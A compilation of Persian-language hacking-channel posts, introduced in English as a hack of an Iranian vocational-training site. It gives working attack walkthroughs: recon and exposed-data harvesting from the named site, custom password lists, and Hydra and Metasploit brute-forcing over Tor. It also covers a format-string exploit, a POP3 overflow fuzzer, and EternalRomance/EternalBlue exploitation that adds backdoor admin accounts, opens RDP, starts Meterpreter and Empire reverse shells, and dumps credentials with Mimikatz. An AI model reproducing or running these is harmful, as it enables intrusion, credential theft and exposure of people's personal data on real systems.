Part I – latest hack of an Iranian Site

https://lnkd.in/eKa5yyk

https://github.com/#####

27a94b9a-1ad8-4acf-9a1d-39f30a46a1b54d804750-767f-4049-85aa-adc34082f619f53a6e70-8e46-46fb-a825-a8eb4d096d05

D5Z2HhfW4AA9tZCfjile

سازمان فنی حرفه ای کل کشور دارای آسیب پذیری هستش و به دلیل داشتن دیتابیس عظیمی از مردم کشور محل خوبی برای حمله هکرهای های بیگانه میتونه باشه, دلیل انشار این عکس این است که این سازمان عقب ماندگی علمی خودش رو در علوم رایانه ای درک کنه و کمی در بروز کردن خودش گام برداره.

تصویر دیگری در رابطه با هک شدن سازمان فنی حرفه ای کل کشور…

portaltvto.com
برخی سازمان های کشور با داشتن دیتابیس های میلیونی و علمی بودن سازمانشان البته در ظاهر چطور جرات میکنند و اینطور وبسایت خودشون رو در معرض آسیب پذیری قرار میدهند؟ حداقل اسمش رو عوض کنید, بزارید سازمان نه فنی نه حرفه ای…

And … looks like this has been a target for awhile. How to’s, methods, tactics, techniques, script, taken from SANS, GITHUB, Microsoft, Bugzilla, Tor Project, Intel, Wikipedia, i.e., Western sources to craft methods. This covers over a year of posts:

PART I

های InfoGathering در این باره بسیار است از Google Hacking گرفته تا OSINT میتواند مفید باشد یک مثالی میزنم فرض کنید تارگت سرور فنی حرفه ای هستش خوب اول از همه یه اسکن کامل از سایتش میرم تا اطلاعات مربوط به صاحب دامنه رو به دست بیارم برای اینکار از recon-ng استفاده میکنم

Open terminal
1.recon-ng 2.workspaces add AVI 3.add domains portaltvto.com 4.use recon/domains-hosts/brute_hosts 5.run در این مرحله ساب دامین های سایت قربانی واسه ما درمیاد ماژول دیگه ای رو فراخانی میکنم برای پیدا کردن آیپی تمامی سرورها و در خط ۸ به بعد یک گزارش از نتیجه حاصله میسازیم

6.use recon/hosts-hosts/reverse_resolve 7.run 8.use reporting/html 9.set CREATOR 10.set CUSTOMER AVI 11.run 12.exit Open new tab
13.mv /root/.recon-ng/workspaces/AVI/results.html /root نتیجه خروجی آیپی ها و ساب دامین های سایت هدف هستش در ادامه یک تکنیک ریز برای بیرون کشیدن کلمات سرفصل شده سایت اصلی و ساب دامین ها میزنیم که منجر به جمع آوری کلمات کلیدی درون خود سایت شود

14.cewl -m 5 -v -w Userlist.txt portaltvto.com این هم از کلمات کلیدی اما شما میتونید با whois گرفتن و گوگل هکینگ اطلاعات بیشتری جمع کنید

site:portaltvto.com inurl:xls نگاهی دقیق به لینک درآمده که حاوی فایلی هست میکنیم

2019-04-30_11-32-17
www.portaltvto.com/export_azad_farsh.xls

License number Establishing the school ID Name of the school Permit Note 34 Specific permission of the center Name of the country State name Province city City Name of the village Telephone number Fax Address E-mail address Type of internet connection Broadband Shift ownership Area Type of school Date established Issued last updated Status of activity Starting date of the leave is the end date of the group’s cluster leave

site:portaltvto.com filetype:pdf

2019-04-30_11-36-07

داخل فایل کلی ایمیل و شماره و اطلاعات جالب است خوب من از ایمیل ها Userlist و از شماره ها رمز میسازم البتهlogin سایت رو بررسی میکنم و متوجه میشم که در پسورد از عدد خیلی استفاده میشه و سقف کارکترها 6 الی 10 هست تا اینجا مشکلی نیست، خب اون فایلی که cewl داد رو به cupp میدم و البته فیلدهای دیگه رو هم پر میکنم که یه پسلیست خوب بده البته یه Nmap هم میگیرم که اطلاعات مربوط به سرویس های روی پورت هارو هم در بیارم که امکان داره اطلاعات خوبی بده

15.nmap -A -sV -O -Pn portaltvto.com –script=http-title 80/tcp open http nginx |_ Location: http://10.189.249.1:4080/nonauth/nohost.cs 3306/tcp filtered mysql 4444/tcp filtered krb524 17988/tcp filtered unknown نکته جالبی اینجا درامد اونم آیپی سرویس Kerio هستش خوب باز که کنید یه ارور میبینید یه خونه برید عقب یه Login میبینید مورد خوبیه واسه کرک با این دستور هم میتونید کرکش کنید

https://10.189.249.1:4081/login/

16.hydra -s 4080 -S -O -V -L /root/Userlist.txt -P /root/Passlist.txt -e nsr -t 16 -m /foo/bar/protected.html 10.189.249.1 https-post-form “/internal/dologin.php?NTLM=0:kerio_username=^USER^&kerio_password=^PASS^&Login:Login:F=Incorrect username or password” HYDRA_PROXY=socks4://127.0.0.1:9050 و اما پورت 3306 که مربوط به دیتابیس میشه اینو هم میتونیم کرک کنیم

17.service tor start && msfconsole -x “use auxiliary/scanner/mysql/mysql_login;set PASS_FILE /root/Passlist.txt;set USER_FILE /root/Userlist.txt;set RHOSTS 77.104.97.226;set Proxies socks4:127.0.0.1:9050;exploit” 18.whois portaltvto.com && apt-get install -y cupp && cupp -i > First Name: portaltvto
> Surname: azmoon
> Nickname: VAZMOON
> Birthdate (DDMMYYYY): 01234567
> Partners) name: admin
> Partners) nickname: root
> Partners birthdate (DDMMYYYY): 89012345
> Child’s name: modir
> Child’s nickname: administator
> Child’s birthdate (DDMMYYYY):
> Pet’s name: member
> Company name: karbar

خوب اینم یه پسلیست پیشفرض اما من میخوام یه پسلیست کاملتری هم داشته باشم با اطلاعاتی که تا الان به دست آوردم و با کرانچ شروع میکنم به ساختن این پسلیست

19.crunch 10 10 “0123456789” -t 160%%%%%%% -o portaltvto.txt 20.crunch 13 13 “0123456789” -t karbar%%%%%%% -o portaltvto1.txt همه پسلیست هارو یکی میکنم

21.git clone https://github.com/k4m4/dymerge.git 22.cd dymerge && chmod 755 * 23.python dymerge.py /root/portaltvto1.txt /root/portaltvto.txt -u -o /root/Passlist.txt خب اینم پسلیست آخر. در مورد رمز نوشتن بازم بحث هست اما در پستی دیگر ادامه میدم نکته بعد اینکه شما باید اطلاعات رو خوب جمع کنید تا پسلیستی رو که میخواهید بنویسید این نکته کلیدی ماجراست.

— Saturday, June 16, 2018 —

1.1K

 

#Format String x4
خب میخوام کمی کار رو حرفه ای تر کنم با اکسپلویت کردن یک آسیب پذیری Format String دربستر حافظه که منجر به اجرای کد از راه دور میشود.

> Photo

اول این نکته رو بباید بگم که این آسیب پذیری چطور رخ میده استفاده از تابع (Printf-vsprintf-Fprintf-vsnprintf-Sprint-vfprintf-Snprintf-vprintf) در زبان های خانواده C بدونه هوشمندی لازم به برخی کارکترهای هگز شده (%d-%s-%x-%hn%2$s) رفلکس نشان داده و مقداری رو از آدرس های درون برنامه رو لو میدهد که همین موضوع آسیب پذیری Format String شناخته شده است

Format String Output Usage %d Decimal(int) Output decimal number %s String Reads string from memory %x Hexadecimal Output Hexadecimal Number %n Number of bytes Writes the number of bytes خوب حالا با دقت به کد زیر نگاه کنید که دارای آسیب پذیری Format String هستش

Open terminal
1.touch format4.c && nano format4.c Added

#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int target; void hello() { printf(“code execution redirected! you win\n”); _exit(1); } void vuln() { char buffer[512]; fgets(buffer, sizeof(buffer), stdin); printf(buffer); exit(1); } int main(int argc, char **argv) { vuln(); } Save & Close
2.gcc -o format4.c format4 حالا کد رو کامپایل و شروع به وارد کردن پایلود برای بدست آوردن آدرس های مورد نطر برای نوشتن اکسپلویت استفاده خواهیم کرد

3.objdump -TR format4 08049724 R_386_JUMP_SLOT exit

آدرس تابع exit رو کپی کنید

4.objdump -t format4 | grep hello 080484b4 g F .text 0000001e hello

کپی آدرس حافظه مقدار hello و در ادامه میخوام مقدار %$i\$p برای برگشت آدرس و نشت آسیب پذیری انجام خواهیم داد

5.for i in {1..10}; do echo $i; echo $(python -c “print ‘ABCDEFGH.%$i\$p'”) | ./format4; echo; done; به دلیل اشغال فضای کم پست نتیجه رو نشان نمیدم,شما با وارد کردن ۱۰ بار دستور ۱۰ مقدار هگز شده خواهید دید که یکی از آنها همان مقدار وارد شده ABCD خواهد بود دیکد میکنم ببینید

6.python 7.”44434241″.decode(“hex”)
‘DCBA’
8.exit

از جایگاه تابع exit استفاده و 4 byte رو میبایست با کمک دیباگر عدد دهی کنیم تا آدرس افست اون با آدرس تابع hello یکی و پرش انجام بشه

9.touch struct.py && nano struct.py Added

import struct # taghirkonande 0x08049724 # bare sahih 0x080484b4 # offset 4-> ABCDEFGH.0x44434241 exit = struct.pack(“I”, 0x08049724) #adr exit1 = struct.pack(“I”, 0x08049724+1) #adr +1 exit2 = struct.pack(“I”, 0x08049724+2) #adr +2 exit3 = struct.pack(“I”, 0x08049724+3) #adr +3 s = “” s += exit s += exit1 s += exit2 s += exit3 s += “EFGH” # for offset s += “%160x” s += “%4$hhn” # write 8bit s += “%208x” s += “%5$hhn” # write 8bit s += “%128x” s += “%6$hhn” # write 8bit s += “%260x” s += “%7$hhn” # write 8bit print s Save & Close
10.python struct.py | /root/format4 $�%�&�’�EFGH 200 b7fd8420 bffffae4 8049724
code execution redirected! you win

در متد Service Exploitation در اغلب مواقع سرویس قربانی دارای مکانیزم بررسی ورودی های خودش رو داره این ورودی ها میتونه Username-Password یا حتی مقدار User-Agent و غیره باشه که شما برای اینکه بتونید آسیب پذیری سرریزبافر رو پیدا کنید نیاز دارید که عملیات فازینگ انجام بدید خوب فازینگ به چه معنی هستش ؟
اینکه بتونید مقدار هایی رو بر روی ورودی های سرویس قربانی ارسال کنیم و هر لحظه حجمش رو بیشتر کنیم تا برنامه شکسته و مقدار EIP که حاوی Return Address یا آدرس برگشت استک بعدی بوده با کارکترهای فازینگ پر و به نوعی نال و پوچ بشه و همین موضوع موجب کرش برنامه خواهد شد و در این لحظه ما متوجه میشیم که برنامه آسیب پذیری رو داره خوب برای اینکار ما نیاز داریم اسکریپت های فازینگ بنویسیم چرا که ورودی های سرویس ها میتونه شکل های گوناگونی داشته باشه برای مثال من یک فازر سرویس POP3 که مدیریت ایمیل هارو با خودش داره و روی پورت ۱۱۰ اجرا میکنه سرویس خودش رو اول یه اسکن میکنم که ببینیم چه برنامه ای با چه ورژنی هست و همون ورژن و همون برنامه رو روی ویندوز مجازی خودم نصب و دیباگر رو روش باز میکنم و فازر خودمو در کالی لینوکس اجرا میکنم تا اگه کرش کرد در دیباگر خودم رصد کنمش

Open terminal
1.nmap -p110 -sV -O -Pn 46.209.130.162 –script=http-title Starting Nmap 7.70 ( https://nmap.org ) at 2018-06-20 21:16 EDT
Nmap scan report for mail.sodaaria.com (46.209.130.162)
Host is up (0.029s latency).

PORT STATE SERVICE VERSION
110/tcp open pop3 Microsoft Exchange 2007-2010 pop3d

با این دستور سرویس و ورژن در میاد حالا اسکریپت رو مینویسم نکته ای که در Develop اسکریپت فازر باید دقت کرد اینه که نوع و ساختار پکت های این سرویس رو هم باید رصد کنید تا فازر شما استاندارد اون سبک از پکت هارو داشته باشه که سرویس POP3 پکت های فازر مارو بفهمه

2.touch fuzzer.py && nano fuzzer.py Added

#!/usr/bin/python # https://t.me/##### import time, struct, sys import socket as so buff=[“A”] max_buffer = 4000 counter = 100 increment = 200 while len(buff) <= max_buffer: buff.append(“A”*counter) counter=counter+increment for string in buff: try: server = str(sys.argv[1]) port = int(sys.argv[2]) except IndexError: print “[+] Usage example: python %s 192.168.1.5 110” % sys.argv[0] sys.exit() print “[+] Attempting to crash Program at %s bytes” % len(string) s = so.socket(so.AF_INET, so.SOCK_STREAM) try: s.connect((server,port)) s.recv(1024) s.send(‘USER AVI\r\n’) s.recv(1023) s.send(‘PASS ‘ + string + ‘\r\n’) s.send(‘QUIT\r\n’) s.close() except: print “[+] Connection failed. Make sure IP/port” sys.exit() Save & Close
3.python fuzzer.py 192.168.1.5 110 روی لوکال هاست خودم برنامه Microsoft Exchange 2007-2010 رو نصب کردم و با فازری که نوشتم پنتست میکنمش و اگه کرش کرد میرم واسه مرحله بعد از پیدا کردن آسیب پذیری که شناسایی مقدار بافر ی هست که مارو تا دم EIP میرسونه ۲۷۰۰ تا پترن میسازم و به اسکریپت خودم اضافه میکنم به دلیله محدودیت تلگرام کل پترن رو نمیزام تو اسکریپت

4.msf-pattern_create -l 2700 5.nano fuzzer.py Edit

#!/usr/bin/python # https://t.me/#### import time, struct, sys import socket as so pattern = “Aa0Aa1Aa2………..Ab0Ab1Ab2A” try: server = str(sys.argv[1]) port = int(sys.argv[2]) except IndexError: print “[+] Usage example: python %s 192.168.1.5 110” % sys.argv[0] sys.exit() s = so.socket(so.AF_INET, so.SOCK_STREAM) print “[+] Attempting to send BufferOverFlow to Program…” try: s.connect((server,port)) s.recv(1024) s.send(‘USER AVI’ +’\r\n’) s.recv(1024) s.send(‘PASS ‘ + pattern + ‘\r\n’) print “\n[+] Comleted.” except: print “[+] Connection failed. Make sure IP/port” sys.exit() Save & Close
6.python fuzzer.py 192.168.1.5 110 خوب حالا میریم درون دیباگر رو میبینیم و مقدار آدرس EIP رو کپی و در ترمینال کالی وارد پترن offset میکنم تا مقدار دقیق طول کارکتر های overwrite EIP بدست بیاد

7.msf-pattern_offset -q 39694438 [*] Exact match at offset 2606

طول کارکتر بدست امد 2606 هستش موفق و پیروز باشید.

زمانی که بافر ها در کنار هم تعریف میشن و در صورت داشتن آسیب پذیری سرریزبافر ورودی,میشه امید داشت که به دیگر بافر های تعریف شده اثر گذاشت و موجب سوءاستفاده قرار داد به کد زیر دقت کنید

Open terminal
1.touch corruption.c && nano corruption.c Added

#include <stdio.h> int main(void) { int authorized = 0; char sys_pass[16] = “secret!”; char usr_pass[16]; printf(“enter password: “); scanf(“%s”, usr_pass); printf(“usr_pass: %s\n”, usr_pass); printf(“sys_pass: %s\n”, sys_pass); printf(“auth val: %d\n”, authorized); printf(“usr_pass addr: %p\n”, (void *)usr_pass); printf(“sys_pass addr: %p\n”, (void *)sys_pass); printf(“authorized addr: %p\n”, (void *)&authorized); if (strcmp(sys_pass, usr_pass) == 0) { authorized = 1; } if (authorized) { printf(“password is correct!\n”); } } Save & Close

در کد بالا ۲ بافر ۱۶ خونه ای تعریف کردم در ادامه به یکی از بافرها مقدار secret رو دادیم و یک متغیر با مقدار 0 از نوع Integer تعریف کردیم,خوب در اینجا نکته ای که وجود داره اینه که من باید مقدار ۲ بافر ورودی رو پر کنم تا با پیغام password is correct مواجع شم نکته بعدی این داستان اینه که من یک ورودی بشتر ندارم که با دو بافر در کنار هم تعریف و یک بافر مقدار ثابت secret رو با خودش داره و هدف اینه که من دو بافر رو بصورت یکسان پر کنم تا متغیر authorized برابر با ۱ بشه دقت کنید هر دو بافر یکسان باید بشن نه بیشتر خوب در اینجا بافر ما ۱۶ بایت داره پس من ۱۵ کارکتر A بش میدم ببینم چی میشه

2.gcc -o corruption corruption.c 3../corruption enter password: AAAAAAAAAAAAAAA usr_pass: AAAAAAAAAAAAAAA
sys_pass: secret!
auth val: 0
usr_pass addr: 0x7fff536f0cd0
sys_pass addr: 0x7fff536f0ce0
authorized addr: 0x7fff536f0cfc

بسیار خب در اینجا میبینیم که بافر اول پر شده و باقر دوم مقدار secret رو داره و تغییری نداشته اکی حالا میام ۲ تا ۱۵ تا مقدار A میدم به ورودی ببینیم چی میشه

4../corruption enter password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA usr_pass: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
sys_pass: AAAAAAAAAAAAAA
auth val: 0
usr_pass addr: 0x7ffc23b236a0
sys_pass addr: 0x7ffc23b236b0
authorized addr: 0x7ffc23b236cc

خب در اینجا اتفاق جالبی رخ داده اون هم اینه که مقدار بافر دومی که با کلمه secret پر بود overwrite شده و مقدار کارکتر ورودی ما که A بوده رو چاپ کرده خوب این یعنی آسیب پذیری Memory Corruption حالا من میخوام مقدار ورودی رو ۳ تا ۱۵ تا A کنم تا بافر اول با بافر دوم یکی پر باشه تا متغیر authorized برابر با 1 بشه

5../corruption enter password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA usr_pass: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
sys_pass: AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
auth val: 65
usr_pass addr: 0x7ffc0d4b51b0
sys_pass addr: 0x7ffc0d4b51c0
authorized addr: 0x7ffc0d4b51dc
password is correct!

خب چه جالب مقدار ۲ بافر با هم یکی و متغیر authorized برابر با 1 شده که به ما پیغام password is correct! رو نشون میده خوب امیدوارم مفید بوده باشه.

#WIN SERVER 2016 MS17-010
بعد از گذشت ۲ سال حالا وقت شرح اکسپلویت های EternalBlue & DoublePulsar هستش که به صورت صحیح چطور میتوان پنتست این آسیب پذیری رو انجام داد.

خوب این آسیب پذیری ها که توسط تیم ShadowBroker سرقت و پخش شد از سازمان NSA برای پروتکل SMB هستش که ما طریقه پیدا کردن و دیتکت و شناسایی آسیب پذیری و اکسپلویت کردن اون رو میخوام شرح بدیم خوب واسه پیدا کردن سرورهایی با ورژن ۲۰۱۶ از Shodan کمک میگیریم و با Nmap شناسایی آسیب پذیری رو انجام و اگر آسیب پذیری رو دارا بود اکسپلویت میکنیم

Visit & Search > https://www.shodan.io
Dork: Port:445 smb os:”Windows Server 2016″ دورک رو جستجو و آی پی سرورهایی با مشخصات Windows Server 2016 که سرویس SMB اون ها باز هست رو پیدا و شروع به Detect برای شناسایی سرورهای آسیب پذیر با این دستور Nmap و استفاده از NSE Script میکنیم 🙂

Open terminal
1.nmap -sC -A -p445 (TARGET) Copy (account_used)
2.nmap -p445 –script smb-vuln-ms17-010 (TARGET) Host script results:
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).

در مرحله بعد اگر آسیب پذیر بود میریم واسه اکسپلویت کردنش دقت کنید که ورژن SMB آسیب پذیر ۱ هستش

3.msfconsole -q -x “use auxiliary/scanner/smb/pipe_auditor;set RHOSTS (TARGET);exploit;exit” Copy (PipeDIR)
4.mkdir EternalRomance && cd EternalRomance && wget https://www.exploit-db.com/download/42315 -O eternal2016.py 5.wget https://raw.githubusercontent.com/worawit/MS17-010/master/mysmb.py 6.touch __INIT__.py && leafpad eternal2016.py Search (USERNAME)

USERNAME = ” Replace

USERNAME = ‘(account_used)’ Save & Close
7.python eternal2016.py (TARGET) (PipeDIR) 8.leafpad eternal2016.py Search (#service_exec)

#service_exec(conn, r’cmd /c copy c:\pwned.txt c:\pwned_exec.txt’) Replace

#service_exec(conn, r’cmd /c copy c:\pwned.txt c:\pwned_exec.txt’) service_exec(conn, r’cmd /c net user AVI /ADD 00980098′) service_exec(conn, r’cmd /c net localgroup administrators AVI /ADD’) service_exec(conn, r’cmd /c net localgroup “remote desktop users” AVI /ADD’) Save & Close
9.python eternal2016.py (TARGET) (PipeDIR) 10.python /usr/share/doc/python-impacket/examples/smbexec.py (Password Net User)
Open new tab
11.msfconsole -q -x “use multi/handler;set PAYLOAD windows/meterpreter/reverse_tcp;set LHOST (NoIP);set LPORT 5555;set ReverseListenerBindAddress (LAN);set ExitOnSession false;set InitialAutoRunScript migrate -f;set EnableStageEncoding true;exploit -j” خوب من اینجا کمی توضیح در مورد آرایش ساختاری متدهای که مینویسم بدم جاهایی که عدد استفاده کردم یعنی دستوراتی هستند که در ترمینال وارد میشن و جاهای که عدد استفاده نکردم یعنی توضیح دارم میدم که چیکار کنید مثال:

Visit & Search > https://www.shodan.io
Dork: Port:445 smb os:”Windows Server 2016″ اینجا دارم میگم که Visit & Search یعنی سایت رو باز و دورک مربوطه رو سرچ کنید تا به اطلاعات مورد نیاز برسید کمی با متن ها کار کنید مدل من دست شما خواهد امد این توضیح رو هم بابته یه سری عزیزان دادم Sorry.خوب در ادامه کار من کمی روی فضای Persistence هم کار میکنم به بهونه این آسیب پذیری توضیح دیگه نمیدم واضح دستورات

MeterpreterCommands

*Privilage-Basic*
12.run multi/recon/local_exploit_suggester 13.getprivs 14.getsystem 15.ps Find PID AUTHORITY\SYSTEM (#) 16.migrate (PID#) 17.getuid 18.hashdump *Enable RDP*
19.reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f 20.reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f 21.netsh advfirewall firewall set rule group=”remote desktop” new enable=yes Open new tab
22.rdesktop -u (Username) -p (Password) (TARGET) *Dump AdminPass*
23.load kiwi 24.load mimikatz 25.kerberos 26.creds_all پسوردهای سرور هم بیرون کشیده شد امیدوارم خوشتون امده باشه کمی با دستورات کار کنید بهتر درک خواهید کرد دقیق هستن دستورات.برای ورژن های دیگه ویندوز سرور هم پست خواهم زد.
https://nmap.org/nsedoc/scripts/smb-vuln-ms17-010.html
https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010

Docs

Microsoft Security Bulletin MS17-010 – Critical

#WIN 7-EternalBlue
متدی دیگر از آسیب پذیری لو رفته SMBv2 که به نام EternalBlue معروف هست و در صورت بروز نبودن Win 7 میشه اون رو اکسپلویت کرد چطور؟ در ادامه…

برای اینکار نیاز به دریافت pywin32-shadowbroker-python و نصب اونها بر روی ویندوز خودتون هستش

https://github.com/misterch0c/shadowbroker
https://www.python.org/download/releases/2.6/
https://sourceforge.net/projects/pywin32/files/pywin32/Build 212/
https://notepad-plus-plus.org/download/

بعد از دانلود فولدر shadowbroker رو به این دایرکتوری انتقال بدید و داخل پوشه رفته و فایل fb.py رو با notepad++ باز کنید

Move (shadowbroker) > C:\NSA\Leak\shadowbroker > Go & Open with Notepad++ > C:\NSA\Leak\shadowbroker\Windows\fb.py
Edit & Search (ListeningPost)

addplugins(fb, “ListeningPost”, LP_DIR, EDFPlugin) Added

#addplugins(fb, “ListeningPost”, LP_DIR, EDFPlugin) Save & Close

همون طور که در بالا میبینید یک ویرایش ریز میزنید و مقدار addplugins رو کامنت میکنید خوب حالا باید فایل Fuzzbunch.xml رو باز کنید و ویرایش زیر رو پیاده کنید

Open with Notepad++ (Fuzzbunch.xml)
Edit

<t:parameter name=”ResourcesDir” description=”Absolute path of the Resources Directory” type=”String” default=”D:\DSZOPSDISK\Resources”/> <t:parameter name=”LogDir” description=”Absolute path of an Initial Log Directory” type=”String” default=”D:\logs”/> Replace

<t:parameter name=”ResourcesDir” description=”Absolute path of the Resources Directory” type=”String” default=”C:\NSA\Leak\shadowbroker\windows\Resources”/> <t:parameter name=”LogDir” description=”Absolute path of an Initial Log Directory” type=”String” default=”C:\NSA\Leak\shadowbroker\windows\Logs”/> Save & Close

حالا پنجره Run رو باز کنید و cmd رو تایپ و اینتر کنید و بعد به دایرکتوری فولدر اسکریپت ها cd کنید و با خط فرمان پایتون fb.py رو اجرا کنید

Open cmd
1.cd C:\NSA\Leak\shadowbroker\windows 1.python fb.py 2.(TARGET) 3.(WAN) 4.no 5.(Enter) 6.(Enter) 7.use EternalBlue 8.1 9.yes خب حالا شما اسکریپت رو که اجرا کردید بعد آیپی پابلیک رو در قسمت ون و در قسمت تارگت آیپی قربانی رو وارد و بعد ماژول اترنال رو صدا و فعال کنید و بعد وارد ترمینال کالی بشید و ابزار امپایر رو نصب کنید دقت کنید که ویندوز رو در کالی و بر روی ماشین مجازی بالا بیارید یعنی ویندوز در کالی خوب در ادامه کارو پیش برد و یک پایلود دی ال ال از امپایر گرفته و به ویندوز انتقال میدیم

*Go Kali linux*
Open terminal
10.msfconsole -q -x “use auxiliary/scanner/smb/smb_ms17_010;set RHOSTS (TARGET);run;exit” 11.git clone https://github.com/EmpireProject/Empire.git 12.cd Empire/setup && chmod +x install.sh && ./install.sh 13.cd .. && chmod +x empire && service apache2 start && ./empire 14.listeners 15.uselistener http 16.set Host (NoIP) 17.set Port 8080 18.set BindIP (LAN) 19.execute 20.back 21.usestager windows/dll 22.execute Open new tab
23.mv /tmp/launcher.dll /var/www/html/ Open VB-WIN7 > Visit & Download (http://LAN/launcher.dll) > Move (C:\NSA\Leak\shadowbroker\windows)

خب پایلود خودمون رو که به ویندوز و به دایرکتوری ان اس ای انتقال دادیم که بالا هم آدرسش هست بعد میایم روی ماژولی که اول اجرا کردم رو سی ام دی و ادامه کار رو اونجا پیش میریم و در آخر دسترسی رو میگیریم و تبدیل دسترسی امپایر رو به مترپرتر انجام میدیم

Back cmd tab
24.use DoublePulsar 25.(TARGET) 26.1 27.2 28.C:\NSA\Leak\shadowbroker\windows\launcher.dll 29.1 30.(Enter) 31.(Enter) 32.yes کانفیگ هارو مثل دستورات بالا پیش برید نمیتونم اینجا کامل توضیح بدم فقط روی متد پیش برید به مقصد خواهید رسید در آخر که یس رو زدید دسترسی به ایجنت امپایر میاد و بعد از اون دسترسی رو میریم که به مترپرتر تبدیل کنیمو پست تمام

Back empire tab
33.agents 34.interact (ActiveAgent) Open new tab
35.msfconsole -q -x “use multi/handler;set PAYLOAD windows/meterpreter/reverse_http;set LHOST (WAN);set LPORT 8888;set ReverseListenerBindAddress (LAN);exploit” Back empire tab
36.usemodule code_execution/invoke_shellcode 37.set Lhost (WAN) 38.set Lport 8888 39.execute Back msfconsole tab
40.sysinfo در قسمت های پایانی دستورات ما یه لیستنر مترپرتر ساختیم و در امپایر اون رو اجرا و دسترسی مترپرتر حاصل شد اینکار با ماژول اینوک شلکد انجام شد.

GitHub

misterch0c/shadowbroker

The Shadow Brokers “Lost In Translation” leak . Contribute to misterch0c/shadowbroker development by creating an account on GitHub.

#Kernel Protections
ساختارهای محافظتی کرنل که موجب جلوگیری سوءاستفاده از آسیب پذیری های حافظه میشوند رو کمی بیشتر بشناسیم.

امنیت جزء موضوعاتی است که همیشه از اهمیت بالایی برخودار بوده است. کافیه به تاریخچه امکاناتی که پردازنده ها در جهت افزایش امنیت سیستم ها ارائه کرده اند نگاهی انداخت تا به اهمیت این موضوع پی برد. برای نمونه یکسری از امکاناتی که توسط پردازنده ها ارائه شده پایین لیست کرده ام. برخی از این امکانات در سیستم عامل های فعلی پیاده سازی شده اند. و در صورت پشتیبانی نکردن سیستم عامل یا وجود نیازهای خاص با داشتن دانش در این زمینه می توان با نوشتن مثلا یک درایور این کمبود را جبران کرد. لازم به ذکر است که برخی از این قابلیت ها مربوط به مدیریت حافظه در این معماری ها می شود

User/Supervisor (U/S) Bit
Read/Write (R/W) Bit
No Execure (NX) Bit
Write Protect (WP) Bit
Supervisor-Mode Access Prevention (SMAP)
Supervisor-Mode Execution Prevention (SMEP)
Protection Keys (PKE)
Memory Protection Extensions (MPX)
Software Gaurd Extensions (SGX)
Intel Processor Trace (PT)
Control-flow Enforcement Technology (CET)

بهینه سازی کد

کاربرد دیگر در نوشتن کدهای بهینه است خصوصا با زبان های C/C++ و Assembly. داشتن دانش در مورد معماری پردازند ها به چند طریق می تواند به نوشتن کدهای بهتر و بهینه تر کمک کند.

شناخت معماری پردازنده: مثل Alignment مربوط به حافظه (اینکه آدرس بر ۴، ۱۶و ۳۲و … بخش پذیر باشد)، Alignment مربوط به داده ها (در واقع ترتیب قرار گرفتن متغییرها بر اساس بخش پذیری آدرسشان)، تعداد واحد های اجرایی در یک پردازنده برای عملیات محاسباتی اعداد صحیح و اعشاری (واحد های اجرایی می توانند به صورت همزمان اجرا شوند)، اطلاع داشتن از latency و throughput مربوط به دستورات (بر اساس وابستگی دستوراتی که کنار هم قرار گرفته اند) و حافظه های کش مثل L1, L2, L3, L4, TLB
شناخت امکاناتی که مستقیم به بهینگی مرتبط هستند: مانند Branch Prediction, Out-of-order execution, Pipeline, Hyper Threading
امکاناتی برای تحلیل کد: موارد یک و دو یکسری امکانات معرفی کردم در کنار این امکانات مجموعه رجیستر هایی در پردازنده وجود دارد (برای مثال در پردازنده Intel این رجیستر ها با نام PCM (Performance Counter Monitor) وجود دارند) که در هنگام اجرای کد از وضعیت امکانات ذکر شده گزارش تهیه می کند. مثلا اگر بخواهیم بدانیم کد ما از حافظه کش های L1 و L2 درست استفاده میکند باید از این رجیستر ها استفاده کرد. در این زمینه ابزارهایی وجود دارند که کمک میکنند تا این قبیل اطلاعات را از سیستم دریافت کنیم. مانند perf، Intrusments و VTune

پردازنده های Intel و AMD هر دو مستندات جامعی در مورد بهینه سازی (Optimization) کد دارند. از لینک هایی که بالا قرار داده ام می توانید این مستندات را دانلود کنید. در کنار این مستندات این لینک را هم بد ببینید. پیشنهاد می کنم اگر علاقه دارید هر چی در این لینک هست دانلود کنید و بخوانید لبخند
تحلیل نقاط ضعف سیستم عامل و تحلیل بدافزارها

یک استفاده دیگر این قبیل موضوعات برای متخصصان امنیتی است (یا بهتر بگیم هکر ها). خصوصا افرادی که کار تحلیل نقاط ضعف نرم افزار، نوشتن اکسپلویت و تحلیل بدافزارها (Rootkit ها و Bootkit ها) در سطح سیستم عامل و سطوح پایین تر VMM (Virtual Machine Monitor), SMM (System Management Mode), AMT (Active Management Technology) انجام می دهند. که به نظرم خیلی واضح است که یک فرد که قرار است مثلا یک حفره امنیتی در سیستم عامل را تحلیل کند، باید از نحوه عملکرد سیستم عامل و پردازنده اطلاع داشته باشد.
https://www.kernel.org/doc/html/v4.15/security/self-protection.html
https://docs.microsoft.com/en-us/windows-hardware/design/device-experiences/vbs-resource-protections

Virtualization Based Security System Resource Protections

Provides details for OEMs on how VBS protects access to system resources

#Qubes OS
بکدورهای باینری که بر بستر چیپست های سخت افزاری از قبل نصب شده بر روی دیوایس های مختلف مانند هدست لپتاپ گوشی و … چیستند و چطور از این جاسوسی خلاص شویم.

